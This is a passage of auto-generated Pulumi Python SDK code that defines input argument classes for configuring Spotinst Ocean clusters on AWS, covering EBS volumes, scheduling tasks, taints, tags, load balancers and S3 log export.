pulumi.set(__self__, "device_name", device_name) if ebs is not None: pulumi.set(__self__, "ebs", ebs) if no_device is not None: pulumi.set(__self__, "no_device", no_device) if virtual_name is not None: pulumi.set(__self__, "virtual_name", virtual_name) @property @pulumi.getter(name="deviceName") def device_name(self) -> Optional[pulumi.Input[str]]: """ String. Set device name. (Example: `/dev/xvda`). """ return pulumi.get(self, "device_name") @device_name.setter def device_name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "device_name", value) @property @pulumi.getter def ebs(self) -> Optional[pulumi.Input['OceanLaunchSpecBlockDeviceMappingEbsArgs']]: """ Object. Set Elastic Block Store properties . """ return pulumi.get(self, "ebs") @ebs.setter def ebs(self, value: Optional[pulumi.Input['OceanLaunchSpecBlockDeviceMappingEbsArgs']]): pulumi.set(self, "ebs", value) @property @pulumi.getter(name="noDevice") def no_device(self) -> Optional[pulumi.Input[str]]: """ String. Suppresses the specified device included in the block device mapping of the AMI. """ return pulumi.get(self, "no_device") @no_device.setter def no_device(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "no_device", value) @property @pulumi.getter(name="virtualName") def virtual_name(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "virtual_name") @virtual_name.setter def virtual_name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "virtual_name", value) @pulumi.input_type class OceanLaunchSpecBlockDeviceMappingEbsArgs: def __init__(__self__, *, delete_on_termination: Optional[pulumi.Input[bool]] = None, dynamic_volume_size: Optional[pulumi.Input['OceanLaunchSpecBlockDeviceMappingEbsDynamicVolumeSizeArgs']] = None, encrypted: Optional[pulumi.Input[bool]] = None, iops: Optional[pulumi.Input[int]] = None, kms_key_id: Optional[pulumi.Input[str]] = None, snapshot_id: Optional[pulumi.Input[str]] = None, throughput: Optional[pulumi.Input[int]] = None, volume_size: Optional[pulumi.Input[int]] = None, volume_type: Optional[pulumi.Input[str]] = None): """ :param pulumi.Input[bool] delete_on_termination: Boolean. Flag to delete the EBS on instance termination. :param pulumi.Input['OceanLaunchSpecBlockDeviceMappingEbsDynamicVolumeSizeArgs'] dynamic_volume_size: Object. Set dynamic volume size properties. When using this object, you cannot use volumeSize. You must use one or the other. :param pulumi.Input[bool] encrypted: Boolean. Enables [EBS encryption](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html) on the volume. :param pulumi.Input[int] iops: Int. The number of I/O operations per second (IOPS) that the volume supports. :param pulumi.Input[str] kms_key_id: String. Identifier (key ID, key alias, ID ARN, or alias ARN) for a customer managed CMK under which the EBS volume is encrypted. :param pulumi.Input[str] snapshot_id: (Optional) String. The Snapshot ID to mount by. :param pulumi.Input[int] throughput: The amount of data transferred to or from a storage device per second, you can use this param just in a case that `volume_type` = `gp3`. :param pulumi.Input[int] volume_size: Int. The size, in GB of the volume. :param pulumi.Input[str] volume_type: String. The type of the volume. (Example: `gp2`). """ if delete_on_termination is not None: pulumi.set(__self__, "delete_on_termination", delete_on_termination) if dynamic_volume_size is not None: pulumi.set(__self__, "dynamic_volume_size", dynamic_volume_size) if encrypted is not None: pulumi.set(__self__, "encrypted", encrypted) if iops is not None: pulumi.set(__self__, "iops", iops) if kms_key_id is not None: pulumi.set(__self__, "kms_key_id", kms_key_id) if snapshot_id is not None: pulumi.set(__self__, "snapshot_id", snapshot_id) if throughput is not None: pulumi.set(__self__, "throughput", throughput) if volume_size is not None: pulumi.set(__self__, "volume_size", volume_size) if volume_type is not None: pulumi.set(__self__, "volume_type", volume_type) @property @pulumi.getter(name="deleteOnTermination") def delete_on_termination(self) -> Optional[pulumi.Input[bool]]: """ Boolean. Flag to delete the EBS on instance termination. """ return pulumi.get(self, "delete_on_termination") @delete_on_termination.setter def delete_on_termination(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "delete_on_termination", value) @property @pulumi.getter(name="dynamicVolumeSize") def dynamic_volume_size(self) -> Optional[pulumi.Input['OceanLaunchSpecBlockDeviceMappingEbsDynamicVolumeSizeArgs']]: """ Object. Set dynamic volume size properties. When using this object, you cannot use volumeSize. You must use one or the other. """ return pulumi.get(self, "dynamic_volume_size") @dynamic_volume_size.setter def dynamic_volume_size(self, value: Optional[pulumi.Input['OceanLaunchSpecBlockDeviceMappingEbsDynamicVolumeSizeArgs']]): pulumi.set(self, "dynamic_volume_size", value) @property @pulumi.getter def encrypted(self) -> Optional[pulumi.Input[bool]]: """ Boolean. Enables [EBS encryption](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html) on the volume. """ return pulumi.get(self, "encrypted") @encrypted.setter def encrypted(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "encrypted", value) @property @pulumi.getter def iops(self) -> Optional[pulumi.Input[int]]: """ Int. The number of I/O operations per second (IOPS) that the volume supports. """ return pulumi.get(self, "iops") @iops.setter def iops(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "iops", value) @property @pulumi.getter(name="kmsKeyId") def kms_key_id(self) -> Optional[pulumi.Input[str]]: """ String. Identifier (key ID, key alias, ID ARN, or alias ARN) for a customer managed CMK under which the EBS volume is encrypted. """ return pulumi.get(self, "kms_key_id") @kms_key_id.setter def kms_key_id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "kms_key_id", value) @property @pulumi.getter(name="snapshotId") def snapshot_id(self) -> Optional[pulumi.Input[str]]: """ (Optional) String. The Snapshot ID to mount by. """ return pulumi.get(self, "snapshot_id") @snapshot_id.setter def snapshot_id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "snapshot_id", value) @property @pulumi.getter def throughput(self) -> Optional[pulumi.Input[int]]: """ The amount of data transferred to or from a storage device per second, you can use this param just in a case that `volume_type` = `gp3`. """ return pulumi.get(self, "throughput") @throughput.setter def throughput(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "throughput", value) @property @pulumi.getter(name="volumeSize") def volume_size(self) -> Optional[pulumi.Input[int]]: """ Int. The size, in GB of the volume. """ return pulumi.get(self, "volume_size") @volume_size.setter def volume_size(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "volume_size", value) @property @pulumi.getter(name="volumeType") def volume_type(self) -> Optional[pulumi.Input[str]]: """ String. The type of the volume. (Example: `gp2`). """ return pulumi.get(self, "volume_type") @volume_type.setter def volume_type(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "volume_type", value) @pulumi.input_type class OceanLaunchSpecBlockDeviceMappingEbsDynamicVolumeSizeArgs: def __init__(__self__, *, base_size: pulumi.Input[int], resource: pulumi.Input[str], size_per_resource_unit: pulumi.Input[int]): """ :param pulumi.Input[int] base_size: Int. Initial size for volume. (Example: 50) :param pulumi.Input[str] resource: String. Resource type to increase volume size dynamically by. (Valid values: `CPU`) :param pulumi.Input[int] size_per_resource_unit: Int. Additional size (in GB) per resource unit. (Example: `baseSize=50`, `sizePerResourceUnit=20`, and instance with 2 CPU is launched; its total disk size will be: 90GB) """ pulumi.set(__self__, "base_size", base_size) pulumi.set(__self__, "resource", resource) pulumi.set(__self__, "size_per_resource_unit", size_per_resource_unit) @property @pulumi.getter(name="baseSize") def base_size(self) -> pulumi.Input[int]: """ Int. Initial size for volume. (Example: 50) """ return pulumi.get(self, "base_size") @base_size.setter def base_size(self, value: pulumi.Input[int]): pulumi.set(self, "base_size", value) @property @pulumi.getter def resource(self) -> pulumi.Input[str]: """ String. Resource type to increase volume size dynamically by. (Valid values: `CPU`) """ return pulumi.get(self, "resource") @resource.setter def resource(self, value: pulumi.Input[str]): pulumi.set(self, "resource", value) @property @pulumi.getter(name="sizePerResourceUnit") def size_per_resource_unit(self) -> pulumi.Input[int]: """ Int. Additional size (in GB) per resource unit. (Example: `baseSize=50`, `sizePerResourceUnit=20`, and instance with 2 CPU is launched; its total disk size will be: 90GB) """ return pulumi.get(self, "size_per_resource_unit") @size_per_resource_unit.setter def size_per_resource_unit(self, value: pulumi.Input[int]): pulumi.set(self, "size_per_resource_unit", value) @pulumi.input_type class OceanLaunchSpecCreateOptionsArgs: def __init__(__self__, *, initial_nodes: pulumi.Input[int]): """ :param pulumi.Input[int] initial_nodes: When set to an integer greater than 0, a corresponding amount of nodes will be launched from the created Virtual Node Group. The parameter is recommended in case the use_as_template_only (in aws.Ocean resource) is set to true during Ocean resource creation. """ pulumi.set(__self__, "initial_nodes", initial_nodes) @property @pulumi.getter(name="initialNodes") def initial_nodes(self) -> pulumi.Input[int]: """ When set to an integer greater than 0, a corresponding amount of nodes will be launched from the created Virtual Node Group. The parameter is recommended in case the use_as_template_only (in aws.Ocean resource) is set to true during Ocean resource creation. """ return pulumi.get(self, "initial_nodes") @initial_nodes.setter def initial_nodes(self, value: pulumi.Input[int]): pulumi.set(self, "initial_nodes", value) @pulumi.input_type class OceanLaunchSpecDeleteOptionsArgs: def __init__(__self__, *, force_delete: pulumi.Input[bool]): """ :param pulumi.Input[bool] force_delete: When set to `true`, delete even if it is the last Virtual Node Group (also, the default Virtual Node Group must be configured with `useAsTemlateOnly = true`). Should be set at creation or update, but will be used only at deletion. """ pulumi.set(__self__, "force_delete", force_delete) @property @pulumi.getter(name="forceDelete") def force_delete(self) -> pulumi.Input[bool]: """ When set to `true`, delete even if it is the last Virtual Node Group (also, the default Virtual Node Group must be configured with `useAsTemlateOnly = true`). Should be set at creation or update, but will be used only at deletion. """ return pulumi.get(self, "force_delete") @force_delete.setter def force_delete(self, value: pulumi.Input[bool]): pulumi.set(self, "force_delete", value) @pulumi.input_type class OceanLaunchSpecElasticIpPoolArgs: def __init__(__self__, *, tag_selector: Optional[pulumi.Input['OceanLaunchSpecElasticIpPoolTagSelectorArgs']] = None): """ :param pulumi.Input['OceanLaunchSpecElasticIpPoolTagSelectorArgs'] tag_selector: A key-value pair, which defines an Elastic IP from the customer pool. Can be null. """ if tag_selector is not None: pulumi.set(__self__, "tag_selector", tag_selector) @property @pulumi.getter(name="tagSelector") def tag_selector(self) -> Optional[pulumi.Input['OceanLaunchSpecElasticIpPoolTagSelectorArgs']]: """ A key-value pair, which defines an Elastic IP from the customer pool. Can be null. """ return pulumi.get(self, "tag_selector") @tag_selector.setter def tag_selector(self, value: Optional[pulumi.Input['OceanLaunchSpecElasticIpPoolTagSelectorArgs']]): pulumi.set(self, "tag_selector", value) @pulumi.input_type class OceanLaunchSpecElasticIpPoolTagSelectorArgs: def __init__(__self__, *, tag_key: pulumi.Input[str], tag_value: Optional[pulumi.Input[str]] = None): """ :param pulumi.Input[str] tag_key: Elastic IP tag key. The Virtual Node Group will consider all Elastic IPs tagged with this tag as a part of the Elastic IP pool to use. :param pulumi.Input[str] tag_value: Elastic IP tag value. Can be null. """ pulumi.set(__self__, "tag_key", tag_key) if tag_value is not None: pulumi.set(__self__, "tag_value", tag_value) @property @pulumi.getter(name="tagKey") def tag_key(self) -> pulumi.Input[str]: """ Elastic IP tag key. The Virtual Node Group will consider all Elastic IPs tagged with this tag as a part of the Elastic IP pool to use. """ return pulumi.get(self, "tag_key") @tag_key.setter def tag_key(self, value: pulumi.Input[str]): pulumi.set(self, "tag_key", value) @property @pulumi.getter(name="tagValue") def tag_value(self) -> Optional[pulumi.Input[str]]: """ Elastic IP tag value. Can be null. """ return pulumi.get(self, "tag_value") @tag_value.setter def tag_value(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "tag_value", value) @pulumi.input_type class OceanLaunchSpecLabelArgs: def __init__(__self__, *, key: pulumi.Input[str], value: pulumi.Input[str]): """ :param pulumi.Input[str] key: The taint key. :param pulumi.Input[str] value: The taint value. """ pulumi.set(__self__, "key", key) pulumi.set(__self__, "value", value) @property @pulumi.getter def key(self) -> pulumi.Input[str]: """ The taint key. """ return pulumi.get(self, "key") @key.setter def key(self, value: pulumi.Input[str]): pulumi.set(self, "key", value) @property @pulumi.getter def value(self) -> pulumi.Input[str]: """ The taint value. """ return pulumi.get(self, "value") @value.setter def value(self, value: pulumi.Input[str]): pulumi.set(self, "value", value) @pulumi.input_type class OceanLaunchSpecResourceLimitArgs: def __init__(__self__, *, max_instance_count: Optional[pulumi.Input[int]] = None, min_instance_count: Optional[pulumi.Input[int]] = None): """ :param pulumi.Input[int] max_instance_count: Set a maximum number of instances per Virtual Node Group. Can be null. If set, value must be greater than or equal to 0. :param pulumi.Input[int] min_instance_count: Set a minimum number of instances per Virtual Node Group. Can be null. If set, value must be greater than or equal to 0. """ if max_instance_count is not None: pulumi.set(__self__, "max_instance_count", max_instance_count) if min_instance_count is not None: pulumi.set(__self__, "min_instance_count", min_instance_count) @property @pulumi.getter(name="maxInstanceCount") def max_instance_count(self) -> Optional[pulumi.Input[int]]: """ Set a maximum number of instances per Virtual Node Group. Can be null. If set, value must be greater than or equal to 0. """ return pulumi.get(self, "max_instance_count") @max_instance_count.setter def max_instance_count(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "max_instance_count", value) @property @pulumi.getter(name="minInstanceCount") def min_instance_count(self) -> Optional[pulumi.Input[int]]: """ Set a minimum number of instances per Virtual Node Group. Can be null. If set, value must be greater than or equal to 0. """ return pulumi.get(self, "min_instance_count") @min_instance_count.setter def min_instance_count(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "min_instance_count", value) @pulumi.input_type class OceanLaunchSpecSchedulingTaskArgs: def __init__(__self__, *, cron_expression: pulumi.Input[str], is_enabled: pulumi.Input[bool], task_type: pulumi.Input[str], task_headrooms: Optional[pulumi.Input[Sequence[pulumi.Input['OceanLaunchSpecSchedulingTaskTaskHeadroomArgs']]]] = None): """ :param pulumi.Input[str] cron_expression: A valid cron expression. For example : " * * * * * ". The cron job runs in UTC time and is in Unix cron format. :param pulumi.Input[bool] is_enabled: Describes whether the task is enabled. When True, the task runs. When False, it does not run. :param pulumi.Input[str] task_type: The activity that you are scheduling. Valid values: "manualHeadroomUpdate". :param pulumi.Input[Sequence[pulumi.Input['OceanLaunchSpecSchedulingTaskTaskHeadroomArgs']]] task_headrooms: The config of this scheduled task. Depends on the value of taskType. """ pulumi.set(__self__, "cron_expression", cron_expression) pulumi.set(__self__, "is_enabled", is_enabled) pulumi.set(__self__, "task_type", task_type) if task_headrooms is not None: pulumi.set(__self__, "task_headrooms", task_headrooms) @property @pulumi.getter(name="cronExpression") def cron_expression(self) -> pulumi.Input[str]: """ A valid cron expression. For example : " * * * * * ". The cron job runs in UTC time and is in Unix cron format. """ return pulumi.get(self, "cron_expression") @cron_expression.setter def cron_expression(self, value: pulumi.Input[str]): pulumi.set(self, "cron_expression", value) @property @pulumi.getter(name="isEnabled") def is_enabled(self) -> pulumi.Input[bool]: """ Describes whether the task is enabled. When True, the task runs. When False, it does not run. """ return pulumi.get(self, "is_enabled") @is_enabled.setter def is_enabled(self, value: pulumi.Input[bool]): pulumi.set(self, "is_enabled", value) @property @pulumi.getter(name="taskType") def task_type(self) -> pulumi.Input[str]: """ The activity that you are scheduling. Valid values: "manualHeadroomUpdate". """ return pulumi.get(self, "task_type") @task_type.setter def task_type(self, value: pulumi.Input[str]): pulumi.set(self, "task_type", value) @property @pulumi.getter(name="taskHeadrooms") def task_headrooms(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['OceanLaunchSpecSchedulingTaskTaskHeadroomArgs']]]]: """ The config of this scheduled task. Depends on the value of taskType. """ return pulumi.get(self, "task_headrooms") @task_headrooms.setter def task_headrooms(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['OceanLaunchSpecSchedulingTaskTaskHeadroomArgs']]]]): pulumi.set(self, "task_headrooms", value) @pulumi.input_type class OceanLaunchSpecSchedulingTaskTaskHeadroomArgs: def __init__(__self__, *, num_of_units: pulumi.Input[int], cpu_per_unit: Optional[pulumi.Input[int]] = None, gpu_per_unit: Optional[pulumi.Input[int]] = None, memory_per_unit: Optional[pulumi.Input[int]] = None): """ :param pulumi.Input[int] num_of_units: The number of units to retain as headroom, where each unit has the defined headroom CPU, memory and GPU. :param pulumi.Input[int] cpu_per_unit: Optionally configure the number of CPUs to allocate for each headroom unit. CPUs are denoted in millicores, where 1000 millicores = 1 vCPU. :param pulumi.Input[int] gpu_per_unit: Optionally configure the number of GPUS to allocate for each headroom unit. :param pulumi.Input[int] memory_per_unit: Optionally configure the amount of memory (MiB) to allocate for each headroom unit. """ pulumi.set(__self__, "num_of_units", num_of_units) if cpu_per_unit is not None: pulumi.set(__self__, "cpu_per_unit", cpu_per_unit) if gpu_per_unit is not None: pulumi.set(__self__, "gpu_per_unit", gpu_per_unit) if memory_per_unit is not None: pulumi.set(__self__, "memory_per_unit", memory_per_unit) @property @pulumi.getter(name="numOfUnits") def num_of_units(self) -> pulumi.Input[int]: """ The number of units to retain as headroom, where each unit has the defined headroom CPU, memory and GPU. """ return pulumi.get(self, "num_of_units") @num_of_units.setter def num_of_units(self, value: pulumi.Input[int]): pulumi.set(self, "num_of_units", value) @property @pulumi.getter(name="cpuPerUnit") def cpu_per_unit(self) -> Optional[pulumi.Input[int]]: """ Optionally configure the number of CPUs to allocate for each headroom unit. CPUs are denoted in millicores, where 1000 millicores = 1 vCPU. """ return pulumi.get(self, "cpu_per_unit") @cpu_per_unit.setter def cpu_per_unit(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "cpu_per_unit", value) @property @pulumi.getter(name="gpuPerUnit") def gpu_per_unit(self) -> Optional[pulumi.Input[int]]: """ Optionally configure the number of GPUS to allocate for each headroom unit. """ return pulumi.get(self, "gpu_per_unit") @gpu_per_unit.setter def gpu_per_unit(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "gpu_per_unit", value) @property @pulumi.getter(name="memoryPerUnit") def memory_per_unit(self) -> Optional[pulumi.Input[int]]: """ Optionally configure the amount of memory (MiB) to allocate for each headroom unit. """ return pulumi.get(self, "memory_per_unit") @memory_per_unit.setter def memory_per_unit(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "memory_per_unit", value) @pulumi.input_type class OceanLaunchSpecStrategyArgs: def __init__(__self__, *, spot_percentage: Optional[pulumi.Input[int]] = None): """ :param pulumi.Input[int] spot_percentage: When set, Ocean will proactively try to maintain as close as possible to the percentage of Spot instances out of all the Virtual Node Group instances. """ if spot_percentage is not None: pulumi.set(__self__, "spot_percentage", spot_percentage) @property @pulumi.getter(name="spotPercentage") def spot_percentage(self) -> Optional[pulumi.Input[int]]: """ When set, Ocean will proactively try to maintain as close as possible to the percentage of Spot instances out of all the Virtual Node Group instances. """ return pulumi.get(self, "spot_percentage") @spot_percentage.setter def spot_percentage(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "spot_percentage", value) @pulumi.input_type class OceanLaunchSpecTagArgs: def __init__(__self__, *, key: pulumi.Input[str], value: pulumi.Input[str]): """ :param pulumi.Input[str] key: The taint key. :param pulumi.Input[str] value: The taint value. """ pulumi.set(__self__, "key", key) pulumi.set(__self__, "value", value) @property @pulumi.getter def key(self) -> pulumi.Input[str]: """ The taint key. """ return pulumi.get(self, "key") @key.setter def key(self, value: pulumi.Input[str]): pulumi.set(self, "key", value) @property @pulumi.getter def value(self) -> pulumi.Input[str]: """ The taint value. """ return pulumi.get(self, "value") @value.setter def value(self, value: pulumi.Input[str]): pulumi.set(self, "value", value) @pulumi.input_type class OceanLaunchSpecTaintArgs: def __init__(__self__, *, effect: pulumi.Input[str], key: pulumi.Input[str], value: pulumi.Input[str]): """ :param pulumi.Input[str] effect: The effect of the taint. Valid values: `"NoSchedule"`, `"PreferNoSchedule"`, `"NoExecute"`. :param pulumi.Input[str] key: The taint key. :param pulumi.Input[str] value: The taint value. """ pulumi.set(__self__, "effect", effect) pulumi.set(__self__, "key", key) pulumi.set(__self__, "value", value) @property @pulumi.getter def effect(self) -> pulumi.Input[str]: """ The effect of the taint. Valid values: `"NoSchedule"`, `"PreferNoSchedule"`, `"NoExecute"`. """ return pulumi.get(self, "effect") @effect.setter def effect(self, value: pulumi.Input[str]): pulumi.set(self, "effect", value) @property @pulumi.getter def key(self) -> pulumi.Input[str]: """ The taint key. """ return pulumi.get(self, "key") @key.setter def key(self, value: pulumi.Input[str]): pulumi.set(self, "key", value) @property @pulumi.getter def value(self) -> pulumi.Input[str]: """ The taint value. """ return pulumi.get(self, "value") @value.setter def value(self, value: pulumi.Input[str]): pulumi.set(self, "value", value) @pulumi.input_type class OceanLaunchSpecUpdatePolicyArgs: def __init__(__self__, *, should_roll: pulumi.Input[bool], roll_config: Optional[pulumi.Input['OceanLaunchSpecUpdatePolicyRollConfigArgs']] = None): pulumi.set(__self__, "should_roll", should_roll) if roll_config is not None: pulumi.set(__self__, "roll_config", roll_config) @property @pulumi.getter(name="shouldRoll") def should_roll(self) -> pulumi.Input[bool]: return pulumi.get(self, "should_roll") @should_roll.setter def should_roll(self, value: pulumi.Input[bool]): pulumi.set(self, "should_roll", value) @property @pulumi.getter(name="rollConfig") def roll_config(self) -> Optional[pulumi.Input['OceanLaunchSpecUpdatePolicyRollConfigArgs']]: return pulumi.get(self, "roll_config") @roll_config.setter def roll_config(self, value: Optional[pulumi.Input['OceanLaunchSpecUpdatePolicyRollConfigArgs']]): pulumi.set(self, "roll_config", value) @pulumi.input_type class OceanLaunchSpecUpdatePolicyRollConfigArgs: def __init__(__self__, *, batch_size_percentage: pulumi.Input[int]): pulumi.set(__self__, "batch_size_percentage", batch_size_percentage) @property @pulumi.getter(name="batchSizePercentage") def batch_size_percentage(self) -> pulumi.Input[int]: return pulumi.get(self, "batch_size_percentage") @batch_size_percentage.setter def batch_size_percentage(self, value: pulumi.Input[int]): pulumi.set(self, "batch_size_percentage", value) @pulumi.input_type class OceanLoadBalancerArgs: def __init__(__self__, *, arn: Optional[pulumi.Input[str]] = None, name: Optional[pulumi.Input[str]] = None, type: Optional[pulumi.Input[str]] = None): """ :param pulumi.Input[str] arn: Required if type is set to `TARGET_GROUP` :param pulumi.Input[str] name: Required if type is set to `CLASSIC` :param pulumi.Input[str] type: Can be set to `CLASSIC` or `TARGET_GROUP` """ if arn is not None: pulumi.set(__self__, "arn", arn) if name is not None: pulumi.set(__self__, "name", name) if type is not None: pulumi.set(__self__, "type", type) @property @pulumi.getter def arn(self) -> Optional[pulumi.Input[str]]: """ Required if type is set to `TARGET_GROUP` """ return pulumi.get(self, "arn") @arn.setter def arn(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "arn", value) @property @pulumi.getter def name(self) -> Optional[pulumi.Input[str]]: """ Required if type is set to `CLASSIC` """ return pulumi.get(self, "name") @name.setter def name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "name", value) @property @pulumi.getter def type(self) -> Optional[pulumi.Input[str]]: """ Can be set to `CLASSIC` or `TARGET_GROUP` """ return pulumi.get(self, "type") @type.setter def type(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "type", value) @pulumi.input_type class OceanLoggingArgs: def __init__(__self__, *, export: Optional[pulumi.Input['OceanLoggingExportArgs']] = None): """ :param pulumi.Input['OceanLoggingExportArgs'] export: Logging Export configuration. """ if export is not None: pulumi.set(__self__, "export", export) @property @pulumi.getter def export(self) -> Optional[pulumi.Input['OceanLoggingExportArgs']]: """ Logging Export configuration. """ return pulumi.get(self, "export") @export.setter def export(self, value: Optional[pulumi.Input['OceanLoggingExportArgs']]): pulumi.set(self, "export", value) @pulumi.input_type class OceanLoggingExportArgs: def __init__(__self__, *, s3s: Optional[pulumi.Input[Sequence[pulumi.Input['OceanLoggingExportS3Args']]]] = None): """ :param pulumi.Input[Sequence[pulumi.Input['OceanLoggingExportS3Args']]] s3s: Exports your cluster's logs to the S3 bucket and subdir configured on the S3 data integration given. """ if s3s is not None: pulumi.set(__self__, "s3s", s3s) @property @pulumi.getter def s3s(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['OceanLoggingExportS3Args']]]]: """ Exports your cluster's logs to the S3 bucket and subdir configured on the S3 data integration given. """ return pulumi.get(self, "s3s") @s3s.setter def s3s(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['OceanLoggingExportS3Args']]]]): pulumi.set(self, "s3s", value) @pulumi.input_type class OceanLoggingExportS3Args: def __init__(__self__, *, id: pulumi.Input[str]): """ :param pulumi.Input[str] id: The identifier of The S3 data integration to export the logs to. """ pulumi.set(__self__, "id", id) @property @pulumi.getter def id(self) -> pulumi.Input[str]: """ The identifier of The S3 data integration to export the logs to. """ return pulumi.get(self, "id") @id.setter def id(self, value: pulumi.Input[str]): pulumi.set(self, "id", value) @pulumi.input_type class OceanScheduledTaskArgs: def __init__(__self__, *, shutdown_hours: Optional[pulumi.Input['OceanScheduledTaskShutdownHoursArgs']] = None, tasks: Optional[pulumi.Input[Sequence[pulumi.Input['OceanScheduledTaskTaskArgs']]]] = None): """ :param pulumi.Input['OceanScheduledTaskShutdownHoursArgs'] shutdown_hours: Set shutdown hours for cluster object. :param pulumi.Input[Sequence[pulumi.Input['OceanScheduledTaskTaskArgs']]] tasks: The scheduling tasks for the cluster. """ if shutdown_hours is not None: pulumi.set(__self__, "shutdown_hours", shutdown_hours) if tasks is not None: pulumi.set(__self__, "tasks", tasks) @property @pulumi.getter(name="shutdownHours") def shutdown_hours(self) -> Optional[pulumi.Input['OceanScheduledTaskShutdownHoursArgs']]: """ Set shutdown hours for cluster object. """ return pulumi.get(self, "shutdown_hours") @shutdown_hours.setter def shutdown_hours(self, value: Optional[pulumi.Input['OceanScheduledTaskShutdownHoursArgs']]): pulumi.set(self, "shutdown_hours", value) @property @pulumi.getter def tasks(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['OceanScheduledTaskTaskArgs']]]]: """ The scheduling tasks for the cluster. """ return pulumi.get(self, "tasks") @tasks.setter def tasks(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['OceanScheduledTaskTaskArgs']]]]): pulumi.set(self, "tasks", value) @pulumi.input_type class OceanScheduledTaskShutdownHoursArgs: def __init__(__self__, *, time_windows: pulumi.Input[Sequence[pulumi.Input[str]]], is_enabled: Optional[pulumi.Input[bool]] = None): """ :param pulumi.Input[Sequence[pulumi.Input[str]]] time_windows: Set time windows for shutdown hours. Specify a list of `timeWindows` with at least one time window Each string is in the format of: `ddd:hh:mm-ddd:hh:mm` where `ddd` = day of week = Sun | Mon | Tue | Wed | Thu | Fri | Sat, `hh` = hour 24 = 0 -23, `mm` = minute = 0 - 59. Time windows should not overlap. Required if `cluster.scheduling.isEnabled` is `true`. (Example: `Fri:15:30-Wed:14:30`). :param pulumi.Input[bool] is_enabled: Describes whether the task is enabled. When true the task should run when false it should not run. Required for `cluster.scheduling.tasks` object. """ pulumi.set(__self__, "time_windows", time_windows) if is_enabled is not None: pulumi.set(__self__, "is_enabled", is_enabled) @property @pulumi.getter(name="timeWindows") def time_windows(self) -> pulumi.Input[Sequence[pulumi.Input[str]]]: """ Set time windows for shutdown hours. Specify a list of `timeWindows` with at least one time window Each string is in the format of: `ddd:hh:mm-ddd:hh:mm` where `ddd` = day of week = Sun | Mon | Tue | Wed | Thu | Fri | Sat, `hh` = hour 24 = 0 -23, `mm` = minute = 0 - 59. Time windows should not overlap. Required if `cluster.scheduling.isEnabled` is `true`. (Example: `Fri:15:30-Wed:14:30`). """ return pulumi.get(self, "time_windows") @time_windows.setter def time_windows(self, value: pulumi.Input[Sequence[pulumi.Input[str]]]): pulumi.set(self, "time_windows", value) @property @pulumi.getter(name="isEnabled") def is_enabled(self) -> Optional[pulumi.Input[bool]]: """ Describes whether the task is enabled. When true the task should run when false it should not run. Required for `cluster.scheduling.tasks` object. """ return pulumi.get(self, "is_enabled") @is_enabled.setter def is_enabled(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "is_enabled", value) @pulumi.input_type class OceanScheduledTaskTaskArgs: def __init__(__self__, *, cron_expression: pulumi.Input[str], is_enabled: pulumi.Input[bool], task_type: pulumi.Input[str]): """ :param pulumi.Input[str] cron_expression: A valid cron expression. The cron is running in UTC time zone and is in Unix cron format Cron Expression Validator Script. Only one of `frequency` or `cronExpression` should be used at a time. Required for `cluster.scheduling.tasks` object. (Example: `0 1 * * *`). :param pulumi.Input[bool] is_enabled: Describes whether the task is enabled. When true the task should run when false it should not run. Required for `cluster.scheduling.tasks` object. :param pulumi.Input[str] task_type: Valid values: `clusterRoll`. Required for `cluster.scheduling.tasks` object. (Example: `clusterRoll`). """ pulumi.set(__self__, "cron_expression", cron_expression) pulumi.set(__self__, "is_enabled", is_enabled) pulumi.set(__self__, "task_type", task_type) @property @pulumi.getter(name="cronExpression") def cron_expression(self) -> pulumi.Input[str]: """ A valid cron expression. The cron is running in UTC time zone and is in Unix cron format Cron Expression Validator Script. Only one of `frequency` or `cronExpression` should be used at a time. Required for `cluster.scheduling.tasks` object. (Example: `0 1 * * *`). """ return pulumi.get(self, "cron_expression") @cron_expression.setter def cron_expression(self, value: pulumi.Input[str]): pulumi.set(self, "cron_expression", value) @property @pulumi.getter(name="isEnabled") def is_enabled(self) -> pulumi.Input[bool]: """ Describes whether the task is enabled. When true the task should run when false it should not run. Required for `cluster.scheduling.tasks` object. """ return pulumi.get(self, "is_enabled") @is_enabled.setter def is_enabled(self, value: pulumi.Input[bool]): pulumi.set(self, "is_enabled", value) @property @pulumi.getter(name="taskType") def task_type(self) -> pulumi.Input[str]: """ Valid values: `clusterRoll`. Required for `cluster.scheduling.tasks` object. (Example: `clusterRoll`). """ return pulumi.get(self, "task_type") @task_type.setter def task_type(self, value: pulumi.Input[str]): pulumi.set(self, "task_type", value) @pulumi.input_type class OceanTagArgs: def __init__(__self__, *, key: pulumi.Input[str], value: pulumi.Input[str]): """ :param pulumi.Input[str] key: The tag key. :param pulumi.Input[str] value: The tag value. """ pulumi.set(__self__, "key", key) pulumi.set(__self__, "value", value) @property @pulumi.getter def key(self) -> pulumi.Input[str]: """ The tag key. """ return pulumi.get(self, "key") @key.setter def key(self, value: pulumi.Input[str]): 